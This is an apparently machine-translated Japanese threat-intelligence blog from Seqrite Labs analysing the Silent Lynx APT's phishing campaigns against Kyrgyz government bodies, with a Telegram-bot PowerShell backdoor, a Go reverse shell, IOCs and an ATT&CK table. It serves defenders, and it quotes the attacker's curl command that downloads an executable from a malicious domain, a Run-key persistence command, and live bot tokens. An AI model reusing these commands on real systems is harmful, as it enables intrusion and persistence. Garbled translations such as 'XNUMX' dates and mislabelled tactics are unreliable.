Silent Lynx APTがキルギスタンと近隣諸国の様々な組織を標的に
Contents
- 主なターゲット
- 影響を受ける業界
- 地理的焦点
- 感染連鎖
- 初期の調査結果
- キャンペーン1
- 悪意のあるメールを調べる
- おとり文書を調べています。
- キャンペーン2
- 悪意のあるメールを調べる
- おとり文書を調べる
- テクニカル分析
- キャンペーン1
- ステージ1 – 悪意のあるISOファイル
- ステージ2 – 悪意のあるC++ローダー
- ステージ3 – 悪意のあるPowerShellスクリプト
- キャンペーン2
- ステージ1 – 悪意のあるGolangリバースシェル
- インフラと狩猟
- 特定
- 結論
- Seqrite 保護性能
- IOC
- MITER ATT＆CK
- キャンペーン1
- キャンペーン1
イントロダクション
Seqrite Labs APT-Teamは最近、新たな脅威グループによる2つの新たなキャンペーンを発見しました。 サイレントリンクスこの脅威グループは、これまでも東欧および中央アジア諸国の経済政策決定や銀行セクターに関わる政府系シンクタンクを標的としてきました。今回の攻撃は、SPECA（中央アジア経済特別プログラム）参加国の一つ、キルギスタンを標的としており、キルギスタンでは国連をテーマにしたルアーメールを配信し、キルギスタン国立銀行の政府機関を標的としています。また、2つ目の攻撃では、キルギスタン財務省を標的としています。
このブログでは、分析中に発見したキャンペーンの詳細な技術的詳細を検証します。このキャンペーンの各段階を検証します。感染は、RARファイルが添付されたフィッシングメールから始まります。RARファイルには、悪意のあるISOファイルと無害なデコイ文書、そして悪意のあるC++ペイロードが含まれています。ペイロードには、被害者のマシンへのリモートアクセスツールとして機能する、エンコードされたPowerShellスクリプトが埋め込まれています。一方、2つ目のキャンペーンでは、フィッシングメールにパスワード保護されたRARファイルが添付されており、このRARファイルにはデコイ文書と悪意のあるGolangインプラントが含まれています。また、キャンペーン全体をカバーするインフラストラクチャについても検証します。
主なターゲット
影響を受ける業界
- 大使館
- 弁護士
- 政府系銀行
- 政府シンクタンク
地理的焦点
- キルギスタン
- トルクメニスタン
感染連鎖
初期の調査結果
キャンペーン1
27年2024月XNUMX日、私たちのチームはキルギス共和国国立銀行の職員を狙った悪意のあるOutlookメッセージファイルを発見しました。このメッセージには、RAR圧縮された添付ファイルが含まれていました。 20241228_140656.rarRARファイルを調べたところ、 20241228_140656.isoISOファイルには、 ゼロックス_スキャン17510875802718752175.exeはPowerShellプロセスを起動します。悪意のあるPowerShellプロセスの引数はBase64でエンコードされ、C++実行ファイルに埋め込まれます。さらに、ISOファイルは「」というタイトルのおとり文書をドロップします。 2024-00178nv Note Verbale_SPECA WG_2024同じファイルが他の 脅威研究者 翌日には。
悪意のあるメールを調べる
悪意のあるOutlookメールを調査した結果、攻撃者がキルギス国立銀行の従業員の侵害されたメールアカウントを利用していたことが明らかになりました。彼らはこのアカウントを使用して、悪意のあるRARファイルを配信しました。その際、メールは財務省宛てに送信されるはずだったが、受信されてしまったという興味深いメッセージも添えられていました。それでは、悪意のあるISOファイルによってドロップされたおとりPDFファイルについて見ていきましょう。
おとり文書を調べる
ISOファイルを解凍すると、悪意のあるC++実行ファイルとおとりファイルの2つのファイルが確認されました。おとりファイルは、 SPECA貿易作業部会第19回会合3年2024月XNUMX日にウズベキスタンのサマルカンドで開催される「持続可能なサプライチェーンのためのデジタル化の活用」に関する国際会議（SPECA）の公式発表を模倣した文書です。この文書は、国連アジア太平洋経済社会委員会（ESCAP）の正式な発表を模倣し、「持続可能なサプライチェーンのためのデジタル化の活用」というテーマを用いて信頼性と関連性を高めています。キルギスはSPECA加盟国の一つであるため、この戦略は疑念を軽減するものです。
キャンペーン2
悪意のあるメールを調べる
2回目のキャンペーンで悪意のあるOutlookメールを調査すると、 脅威 攻撃者は、最初のキャンペーンと全く同じ侵害されたメールアカウントを使用しています。今回は、キルギス共和国財務省を標的とし、従業員ボーナスを名目に従業員を誘い込む緊急メッセージと共に、パスワードで保護されたRARファイルを配信しています。それでは、RARファイルからドロップされたおとりPDFを見てみましょう。
おとり文書を調べる
悪意のあるRARファイルを解凍すると、2つのファイルが見つかりました。 Приложение №14-214-14-12-5-15docx そして、偽のMS Word文書は、 Приказ №950-2-ГП о премировании.
この偽文書は、キルギス共和国財務省が発行した従業員のボーナス配分に関する正式な命令書のようです。命令書には、複数の従業員の名前と日付が記載されています。 2025 年 1 月 8 日これにより、ルアーはタイムリーで関連性のあるものに見えます。また、その正当性を高め、疑念を軽減するために、文書の最後に政府関係者の名前も記載されています。
テクニカル分析
As 私たちのチーム 2 つのキャンペーンを発見したため、技術分析を 2 つの部分に分けました。最初に最初のキャンペーンを調べ、その後、悪意のある Golang 実行可能ファイルを展開するキャンペーンを調べます。
キャンペーン-1
ステージ1 – 悪意のあるISOファイル
RARファイルには、悪意のあるISOファイルが含まれています。 20241228_140656.isoISOファイルを解凍すると、おとりのPDFと、ローダーとして機能する悪意のあるC++バイナリが見つかりました。次のステップでは、C++バイナリを分析します。
ステージ2 – 悪意のあるC++ローダー
分析に直接進む前に、サンプルがパックされておらず、C++ バイナリであることを確認できます。
分析の結果、悪意のある C++ 実行ファイル内に base64 でエンコードされたコンテンツの巨大な塊が存在し、制限のないスクリプト実行につながる -ExecutionPolicy Bypass フラグを使用してエンコードされたスクリプトを実行する PowerShell コマンドがあることが判明しました。
最後に、CreateProcess APIを使用して、エンコードされたBLOBを実行するPowerShellプロセスが作成されていることがわかります。次のセクションでは、このローダーによって実行されるPowerShell BLOBの内容を調べます。
ステージ3 – 悪意のあるPowerShellスクリプト
Base64エンコードされたスクリプトをデコードした結果、脅威アクターがTelegramボットを用いてコマンド実行とデータ窃取を行っていることが判明しました。このスクリプトには、Invoke-BotCmdとInvoke-BotDownloadというXNUMXつの興味深い関数が含まれています。これらの関数の動作を詳しく見ていきましょう。
① Invoke-BotCmd関数は、基本的に脅威アクターから受信したシステムコマンドを実行し、実行されたコマンドの出力をTelegram Bot APIを介してユーザーに返します。コマンドを入力として受け取り、Invoke-Expressionを使用して実行し、出力またはエラーをキャプチャします。結果は一意の識別子でフォーマットされ、ユーザーに返されます。出力がTelegramの4095文字制限を超える場合、チャンクに分割され、複数のメッセージに分割されて送信されます。出力が短い場合は、メッセージが直接送信されます。したがって、この関数はリモートコマンドの実行と応答の配信を容易にし、Telegram APIを介して被害者のマシンとのやり取りを可能にします。
② Invoke-BotDownload関数は、基本的に被害者のシステムから脅威アクターが管理するTelegramチャットへのファイルのアップロードを容易にし、データの窃取を可能にします。脅威アクターの要求に応じて指定されたパスからファイルを読み取り、必要なメタデータとコンテンツヘッダーを準備し、マルチパートフォームデータのPOSTリクエストとしてファイルをTelegram APIに送信します。したがって、この関数は被害者のマシンから脅威アクターのTelegramチャットにデータを窃取するように設計されています。
③ スクリプトの残りの部分はボットの中核となる動作ロジックを形成し、継続的にループ実行され、脅威アクターからの新しいメッセージを監視および処理します。getUpdates APIエンドポイントを使用してメッセージを取得し、その内容に基づいて処理を行います。/sleepなどのコマンドはボットのスリープ間隔を調整し、/cmdはInvoke-BotCmd関数を使用してシステムコマンドを実行し、/downloadはInvoke-BotDownload関数を介して被害者のマシンからのファイルアップロードをトリガーします。
特定の識別子を持つカスタムコマンドの場合、ボットは要求されたアクションを実行する前に識別子を検証します。スクリプトは、最後に確認されたメッセージIDを更新することで各メッセージが1回だけ処理されるようにし、失敗したAPI呼び出しを再試行するエラー処理を実装します。また、ランダムな間隔で一時停止することで、早期検出やさらなる異常につながる異常なネットワーク動作や検出を回避します。このループにより、ボットはコマンドの実行、データの抽出、脅威アクターとの一貫した通信の維持などのタスクを実行できます。
さて、次のセクションでは C++ および PowerShell ローダーの調査が完了したので、次はインフラストラクチャとその他のキャンペーン、および脅威アクターによって実行されるその他のアクティビティを調べます。
キャンペーン – 2
ステージ1 – 悪意のあるGolangリバースシェル
悪意のある RAR ファイルを抽出すると、内部に 2 つのファイルのみが含まれていることがわかりました。1 つはデコイ ドキュメントで、もう 1 つは基本的に Golang 実行可能ファイルです。
バイナリの内部を覗いてみると、バイナリは Golang で書かれたリバース シェルであり、net_dial などのパッケージを使用してコマンド アンド コントロールに接続し、C2 への接続に失敗した場合に 0.5 秒間スリープし、さまざまなコマンドを実行することがわかります。
インフラと狩猟
前のセクションでは、脅威アクターがTelegramボットを使用して、被害者のシステム上でアクションを実行したり、ダウンロードなどのタスクを実行したりしていることを確認しました。幸いなことに、PowerShellスクリプト内にBotトークンがハードコードされており、そこから興味深い点が見つかりました。これが今回のキャンペーンで使用されたTelegramボットであり、脅威アクターにコンテンツを転送していました。
また、脅威の攻撃者がターゲット マシンで実行した whoami、ipconfig などの一般的なコマンドもいくつか確認でき、ターゲット システムの検出を実行しています。
もう一つの興味深い事例は、脅威アクター（TA）がWebサーバーから悪意のあるペイロードをダウンロードし、侵害を受けたシステムに永続性を確立している点です。TAはコマンド cmd /c curl -oc:\users\public\gservice.exe hxxps://pweobmxdlboi.com/147.exe を使用して、リモートサーバーから悪意のある実行ファイルをダウンロードし、c:\users\public ディレクトリに gservice.exe という名前で保存します。
永続性を確保するために、脅威アクターはレジストリ変更コマンド REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpTask /t REG_SZ /dc:\users\public\gservice.exe /f を実行し、実行ファイルをWindowsのRunキーに追加して、ユーザーがログインするたびに自動的に起動するようにします。攻撃者はその後、REGクエリコマンドで変更を検証し、次のメッセージで永続性メカニズムが正常に確立されたことを確認します。 “最高です。「（「操作は正常に完了しました」）」
侵害を受けた被害者の1人は、トルクメニスタンとキルギスタン間の外交活動に深く関わっていると考えられている。 「トルクメニスタン ギルギス共和国 Ilcihanasynyn meyilnamasy.docx」このことから、攻撃者は外交計画や外交関係に関する情報収集のために被害者を狙ったと示唆されており、この攻撃の主要目的の一つが銀行だけでなく他の政府機関に対するスパイ活動であったことがうかがえる。
同じ脅威アクター、実際にはまったく同じオペレーター (同じ Telegram ユーザー) によって実行された他のキャンペーンを探しているときに、脅威アクターが他の Telegram ベースのボットも使用して、同じ地理的な場所のさまざまな被害者に対してキャンペーンを実行していることがわかりました。
さらに、この脅威アクターは、レッドチーム用のオープンソースツールである 再ソックス脅威の攻撃者が自社のインフラストラクチャ内にホストしていたものです。
脅威の攻撃者が悪意のあるインプラントをホストしていたドメインは次のとおりです。
| 悪意のあるドメイン |
| hxxps:[//]pweobmxdlboi[.]com |
| hxxps:[//]文書[.]出身地[.]クラウド |
| hxxps:[//]mailboxdownload[.]com |
さらに調査を進めたところ、この脅威アクターはGoogleドライブも利用して被害者のシステムにペイロードをダウンロードしており、現在はC++やMSILの埋め込み型マルウェアに依存していることが判明しました。これらのマルウェアには、悪意のあるPowerShellスクリプトが埋め込まれているか、Pastebinなどのテキスト共有サービスからダウンロードされています。また、最近のキャンペーンでは、データの窃取やコマンド＆コントロールサービスにTelegramを利用していることが分かっています。
特定
脅威アクターやグループを記述する際には、アトリビューション（帰属）が不可欠な指標となります。アトリビューションには、戦術、手法、手順（TTP）、コードの類似性と再利用性、脅威アクターの動機、そして場合によっては運用上のミスなど、様々な領域の分析と相関関係の検証が含まれます。
継続的な追跡調査では、 サイレントリンクス、カザフスタンを拠点とする脅威アクター/グループとの顕著な類似点と重複を発見しました。 ヨロトルーパーCisco Talos の同僚が特定したように、Silent Lynx と YoroTrooper の主な共通点をいくつか見ていきましょう。
Silent Lynx と YoroTrooper の主な共通点
- ツールアーセナル:
Cisco Talosの研究者は、YoroTrooperがツールセットを頻繁に変更・切り替え、疑似的な検知回避メカニズムを構築していることを確認しました。最近のYoroTrooperの活動は、PowerShellベースのツールに大きく依存しています。同様に、Silent LynxもPowerShellツールに大きく依存しており、両グループ間でコードの重複が確認されています。 - 動機:
Silent Lynx と YoroTrooper はどちらも同様の動機を持っており、主にキルギスタンとその近隣諸国の政府機関を標的としたスパイ活動を行っています。
これらの例以外にも、これら2つの脅威グループ間のつながりを強める強力な類似点がいくつかある。 中程度の自信我々は、Silent Lynx がカザフスタン出身の脅威アクターであり、YoroTrooper とリソースを共有している可能性が高いことから、カザフスタンを狙った脅威であると位置づけています。
結論
Silent Lynx のキャンペーンは、ISO ファイル、C++ ローダー、PowerShell スクリプト、Go 言語のインプラントを用いた、洗練された多段階攻撃戦略を示しています。Telegram ボットをコマンド＆コントロールに利用し、おとり文書と地域をターゲットとしていることから、中央アジアと SPECA 拠点諸国における諜報活動に重点を置いていることが伺えます。また、Silent Lynx は YoroTrooper と重複する点があり、リソース共有が見られることから、カザフスタンを拠点とする脅威グループであるという可能性が強まります。
SEQRITE 保護性能
- SLynx
- ジェネリック
IOC
| ファイルタイプ | ファイル名 | SHA-256 | |
| エグゼ | 147.exe | efb700681713cd50a2addd1fea6b7ee80c084467d3e87668688b9f06642062ba | |
| エグゼ | ゼロックス_スキャン17510875802718752175.exe | e6f76a73180b4f2947764f4de57b52d037b482ece1a88dab9d3290e76be8c098 | |
| エグゼ | 14789.exe | 3560660162f2268d52b69382c78192667a7eee5796d77418a8609b2f1709f834 | |
| エグゼ | resocks.exe | 297d1afa309cdf0c84f04994ffd59ee1e1175377c1a0a561eb25869909812c9c | |
| ISO | 20241228_140656.iso | c045344b23fc245f35a0ff4a6d6fa744d580cde45c8cd0849153dee7dce1d80c | |
| エグゼ | Приложение №14-214-14-12-5-15docx | 1b76931775aa4de29df27a9de764b22f17ca117d6e5ae184f4ef617c970fc007 | |
| エグゼ | sokcs.exe | 66294c9925ad454d5640f4fe753da9e7d6742f60b093ed97be88fcdd47b04445 | |
| エグゼ | udadd.exe | 99c6017c8658faf678f1b171c8eb5d5fa7e7d08e0a0901b984a8e3e1fab565cd | |
| ドメイン/URL | |||
| hxxps:[//]pweobmxdlboi[.]com | |||
| hxxps:[//]文書[.]出身地[.]クラウド | |||
| hxxps:[//]mailboxdownload[.]com | |||
| hxxps[:]//api[.]telegram[.]org/bot8171872935:AAHLoudjpHz1bxA26bV5wPuOEL3LOHEl6Qk | |||
| hxxps[:]//api[.]telegram[.]org/bot7898508392:AAF5FPbJ1jlPQfqCIGnx-zNdw2R5tF_Xxt0 | |||
MITER ATT＆CK
| 戦略 | テクニックID | 名前 |
| 偵察 | T1589.002 | 被害者の身元情報を収集する: 電子メールアドレス |
| 初期アクセス | T1204.002
T1078.002 |
ユーザーの実行：悪意のあるファイル 有効なアカウント：ドメインアカウント |
| 実行 | T1059.001 | コマンドおよびスクリプト インタープリター: PowerShell |
| 固執 | T1547.001 | レジストリ実行キー / スタートアップ フォルダー |
| クレデンシャルアクセス | T1056.001 T1552.001 |
入力キャプチャ：キーロガー 保護されていない資格情報: ファイル内の資格情報 |
| プーケットの魅力 | T1087
T1083 T1046 T1012 T1018 T1016 T1007 |
アカウントの発見
ファイルとディレクトリの検出 ネットワークサービスディスカバリ クエリレジストリ リモートシステム検出 システムネットワーク構成の検出 システムサービスディスカバリ |
| 収集 | T1560.001 | 収集されたデータのアーカイブ: ユーティリティによるアーカイブ |
| exfiltration | T1567.002 | クラウドストレージへの流出 |
著者
- スバジート・シンハ
- リシャブ・カンジラル
